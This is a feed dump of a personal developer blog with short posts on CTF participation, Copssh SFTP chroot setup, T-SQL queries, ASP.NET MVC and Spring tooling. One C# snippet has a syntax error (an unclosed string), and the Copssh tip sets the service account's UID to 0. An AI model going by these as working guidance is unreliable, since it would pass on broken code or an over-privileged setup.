<br />Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com4tag:blogger.com,1999:blog-5528361627150228377.post-33660540988746160942013-06-26T04:06:00.002-07:002013-06-26T04:06:20.270-07:00Solving Calyx Android Challenge #2Solved another android challenge from Calyx. Take a look at it <a href="https://dl.dropboxusercontent.com/u/2306089/writeups/calyx-writeup-android-2.pdf">here</a>.Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-45517830541302030652013-06-02T05:18:00.002-07:002013-06-02T05:18:22.208-07:00ebCTF 2013 teaser - participationShort post regarding CTF :-)<div>
Eindbazen organized CTF for first time. They done a great job. My team gn00bz finished on 13th place. I was stuck on NET300 task and I'm happy to see this writeup by tsuro and comawill - <a href="https://gist.github.com/schlafloswille/5692285">https://gist.github.com/schlafloswille/5692285</a>.</div>
Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-87189869366370456162013-05-31T06:49:00.000-07:002013-05-31T06:49:53.156-07:00Solving Calyx #1 Android challengeI decided to be less inactive on this blog :-)<br />
<br />
Friend from Calyx posted Android challenge. Here's my <a href="https://dl.dropboxusercontent.com/u/2306089/writeups/calyx-writeup-android-1.pdf">writeup</a>.Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-80660372677353171292010-09-08T13:26:00.000-07:002010-09-08T13:26:41.457-07:00Copssh SFTP chroot under WindowsHello,<br />
<br />
if you wish to set up chroot() under Windows in Copssh please follow this steps:<br />
<br />
Edit etc/sshd_config file and add this:<br />
<blockquote>Subsystem sftp internal-sftp<br />
Match Group Users<br />
ChrootDirectory /home/%u<br />
AllowTcpForwarding no<br />
X11Forwarding no<br />
ForceCommand internal-sftp</blockquote><br />
Also, edit etc/passwd file and change UID from any number to 0.<br />
<br />
Example:<br />
SvcCOPSSH:unused_by_nt/2000/xp:<b>1065</b>:545:...<br />
<br />
Change into<br />
SvcCOPSSH:unused_by_nt/2000/xp:<b>0</b>:545:...<br />
<br />
After that restart your opensshd service ...Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-58412753071687419082009-11-13T14:45:00.000-08:002009-11-13T14:55:37.349-08:00T-SQL: alternative to LIMIT clauseIn MySQL as well as in PostgreSQL there's a LIMIT clause with which you can specify the offset of starting row and number of total rows that you wish to retrieve. There's no such thing, AFAIK, in T-SQL (SQL Server) so I'm using WITH statement with ROW_NUMBER().<br />
<br />
<blockquote>WITH tbl AS <br />
(<br />
SELECT<br />
id,<br />
ROW_NUMBER() OVER (ORDER BY id) AS rowNum<br />
FROM user<br />
)<br />
SELECT id<br />
FROM tbl<br />
WHERE rowNum BETWEEN 5 AND 10<br />
</blockquote>Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-16304984737834795742009-11-08T14:27:00.000-08:002009-11-08T14:27:21.838-08:00RuCTFE 2009 - Croatian teamYesterday I had a chance to participate in security related CTF event. The organization was handled by Russian team, <a href="http://hackerdom.ru/">HackerDom</a>. You can find more about it at this <a href="http://ructf.org/e/2009/">link</a>. The event lasted for 10 hours. I was surprised by technologies that they used - applications were written using Google Android platform :-)<br />
One of the tasks was to record a video of your team dancing at a Russian song :-)<br />
Take a look at my team: <a href="http://ructf.org/e/2009/videos/gnoobz.mp4">http://ructf.org/e/2009/videos/gnoobz.mp4</a>Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-25793063795431609492009-10-28T16:43:00.000-07:002009-10-28T16:43:55.512-07:00Reverse Engineering on .NET applications?Today I had to analyze .NET application which is written in Visual Basic 2005. C# and Visual Basic applications are now compiled into something called <a href="http://en.wikipedia.org/wiki/Common_Intermediate_Language">CIL (Common Intermediate Language)</a>. My first guess was loading <a href="http://www.hex-rays.com/idapro/">IDA Pro Disassembler</a>, but I gave up since I'm not familiar with CIL instructions and I didn't had time to learn it. I wanted something more - high level. After short google-ing I found a perfect tool - <a href="http://www.red-gate.com/products/reflector/">.NET Reflector</a>. It will disassemble target application and display clean C# code which can you further analyze. The author is Lutz Roeder and you can find his other cool tools <a href="http://www.lutzroeder.com/dotnet/">here</a>. Enjoy! :)Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-49759726899528236082009-09-26T15:09:00.001-07:002009-09-26T15:09:59.807-07:00Spring 3 Release Candidate 1Spring 3.0.0. RC1 just got published!<br />
<br />
http://www.springsource.org/node/2004Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-42268410792312608012009-09-11T11:26:00.000-07:002009-09-11T11:26:21.448-07:00Facebook - release of open source web server<a href="http://www.facebook.com/">Facebook </a>released <a href="http://www.tornadoweb.org/">Tornado</a>, which is an open source web server based on Python. It's a software that powers the <a href="http://friendfeed.com/">FriendFeed </a>real-time functionality. You can read the news about it <a href="http://www.cio.com.au/article/318113/facebook_releases_real-time_web_server_tech_open_source">here</a>.Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com1tag:blogger.com,1999:blog-5528361627150228377.post-44587050489460410422009-08-24T14:45:00.000-07:002009-08-24T14:45:42.090-07:00ASP.NET MVC - Html.CheckBox() generates two HTML tagsLet's say that you have this code in your view:<br />
<blockquote style="color: blue;"><%= Html.CheckBox("Active") %></blockquote>That will generate following HTML code:<br />
<blockquote style="color: blue;"><pre id="line49"><<span class="start-tag">input</span><span class="attribute-name"> id</span>=<span class="attribute-value">"Active" </span><span class="attribute-name">name</span>=<span class="attribute-value">"Active" </span><span class="attribute-name">type</span>=<span class="attribute-value">"checkbox" </span><span class="attribute-name">value</span>=<span class="attribute-value">"true" </span><span class="error"><span class="attribute-name">/</span></span>></pre><pre id="line49"><<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">"Active" </span><span class="attribute-name">type</span>=<span class="attribute-value">"hidden" </span><span class="attribute-name">value</span>=<span class="attribute-value">"false" </span><span class="error"><span class="attribute-name">/</span></span>></pre></blockquote>Why two inputs with same name? Well, if checkbox is left unchecked by user it will not be submitted in POST request and in such case ASP.NET uses hidden field for proper data binding.<br />
<br />
So how can you get checkbox state in your controller?<br />
<blockquote style="color: blue;">public ActionResult ReadCB(FormCollection form)<br />
{<br />
bool active = false;<br />
if (form["Active"].Contains("true))<br />
active = true;<br />
// ... <br />
return View(); <br />
}</blockquote>Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-41935523886293073082009-08-23T14:06:00.000-07:002009-08-23T14:17:05.155-07:00ASP.NET MVC - The query results cannot be enumerated more than once<div style="font-family: inherit;">I'm not a fan of Microsoft tehnology, but I find their MVC solution framework pretty good. Of course when it's copy-pasted from cool stuff like RoR and similiar technology ;-)</div><div style="font-family: inherit;"></div><div style="font-family: inherit;"><br />
Anyway, here goes a small tip. </div><div style="font-family: inherit;"></div><div style="font-family: inherit;"><br />
Let's say that you have a controller and a method like this:</div><blockquote style="color: blue;"><div style="font-family: inherit;">public ActionResult Details(int id)</div><div style="font-family: inherit;">{</div><div style="font-family: inherit;"> var fooDataContext = new FooDataContext();</div><div style="font-family: inherit;"> var foo = fooDataContext.sprocFooSearch(id);</div><div style="font-family: inherit;"> ViewData["Foo"] = foo; </div><div style="font-family: inherit;"> return View(); </div><div style="font-family: inherit;">}</div></blockquote><div style="font-family: inherit;">This is sufficient and you'll probably write most of the code like this. But if you wish to put your hands in the 'foo' before passing it in View you probably want to convert result to List using ToList method because it can be enumerated only once because of DataReader and you'll receive a following error "<span style="font-size: small;"><span style="color: red;">Exception Details</span><b style="color: red;">: </b><span style="color: red;">System.InvalidOperationException: The query results cannot be enumerated more than once.</span>"</span><br />
</div><div style="font-family: inherit;"></div><div style="font-family: inherit;"><span style="font-size: small;">Solution: </span></div><blockquote style="color: blue;"><div style="font-family: inherit;">public ActionResult Details(int id)</div><div style="font-family: inherit;">{</div><div style="font-family: inherit;"> var fooDataContext = new FooDataContext();</div><div style="font-family: inherit;"> var foo = fooDataContext.sprocFooSearch(id).<b>ToList()</b>;</div><div style="font-family: inherit;"> if (!foo.Any())</div><div style="font-family: inherit;"> return View("NotFound");</div><div style="font-family: inherit;"> ViewData["Foo"] = foo; </div><div style="font-family: inherit;"> return View(); </div><div style="font-family: inherit;">}</div></blockquote><div style="font-family: inherit;"></div>Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-9306847361622391112009-08-22T12:40:00.000-07:002009-08-22T13:33:50.244-07:00SpringSource Tool Suite 2.1.0SR01 - missing entry in pom.xmlI've just installed a new version of <a href="http://www.springsource.com/products/sts">STS</a> (IDE based on <a href="http://www.eclipse.org/">Eclipse </a>that's meant to ease the development of applications based on Spring Framework) and it sure looks helpful. Especially now when they got <a href="http://www.springsource.org/roo">Roo </a>integrated with it. Roo is a tool that's been missing in Java world because of boring and repetitive task of initial configuration (creating applicationContext.xml, log4j.properties, etc ...). Now you can run HelloWorld example in a matter of seconds. There was only one problem. I had problem with this error message which caused all different kinds of problems with log4j, spring security, etc ...<br />
<br />
The error was this:<br />
<blockquote><i style="color: red;">can't determine superclass of missing type org.springframework.transaction.interceptor.TransactionAspectSupport when batch building with classpath</i></blockquote>Thanks to guys on SpringSource forum I got this fixed by adding this entry in <b>pom.xml </b>file:<br />
<blockquote><dependency><br />
<groupId>org.springframework</groupId><br />
<artifactId>org.springframework.transaction</artifactId><br />
<version>${spring.version}</version><br />
</dependency></blockquote><br />
I hope Roo guys will fix this in new version ...Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-83400128481305453102009-08-22T12:26:00.000-07:002009-08-22T12:26:23.864-07:00SQL - how to generate a date sequenceHave you ever needed to create a sequence of dates in SQL?<br />
Here's a simple way to do it using <a href="http://msdn.microsoft.com/en-us/library/ms175972.aspx">CTE</a>:<br />
<blockquote style="color: blue;">with dates(a_date) as (<br />
select convert(datetime, '20090801')<br />
union all <br />
select a_date + 1 from dates where a_date < '20090831' <br />
)<br />
select a_date<br />
from dates</blockquote>This shall return a list of dates between 2009-08-01 and 2009-08-31. For example, it can be used when you're creating a month user activity report.<br />
<br />
Let's say you have two tables: User and History. History table holds the user_id, login time and logoff time.<br />
<blockquote><span style="color: blue;">with dates(a_date) as (</span><br style="color: blue;" /><span style="color: blue;"> select convert(datetime, '20090801')</span><br style="color: blue;" /><span style="color: blue;"> union all </span><br style="color: blue;" /><span style="color: blue;"> select a_date + 1 from dates where a_date < '20090831' </span><br style="color: blue;" /><span style="color: blue;">)</span><br style="color: blue;" /><br style="color: blue;" /><span style="color: blue;">select</span><br style="color: blue;" /><span style="color: blue;"> u.username as username,</span><br style="color: blue;" /><span style="color: blue;"> d.a_date as a_date,</span><br style="color: blue;" /><span style="color: blue;"> min(h.login_time) as login_time,</span><br style="color: blue;" /><span style="color: blue;"> max(h.logoff_time) as logoff_time</span><br style="color: blue;" /><span style="color: blue;">from</span><br style="color: blue;" /><span style="color: blue;"> dates d</span><br style="color: blue;" /><span style="color: blue;"> cross join dbo.[User] u</span><br style="color: blue;" /><span style="color: blue;"> left join dbo.History h ON </span><br style="color: blue;" /><span style="color: blue;"> u.id = h.user_id and</span><br style="color: blue;" /><span style="color: blue;"> h.login_time >= d.a_date and</span><br style="color: blue;" /><span style="color: blue;"> h.login_time < dateadd(d, 1, d.a_date) </span><br style="color: blue;" /><span style="color: blue;">group by</span><br style="color: blue;" /><span style="color: blue;"> u.username,</span><br style="color: blue;" /><span style="color: blue;"> d.a_date</span><br style="color: blue;" /><span style="color: blue;">order by</span><br style="color: blue;" /><span style="color: blue;"> u.username</span></blockquote>Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-40809804083428283272009-08-22T07:50:00.000-07:002009-08-22T08:39:51.221-07:00My first blog entryDear world,<br /><br />these are my first words on my blog. I hope you'll find something useful soon.<br /><br />Kind regards from Croatia!Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0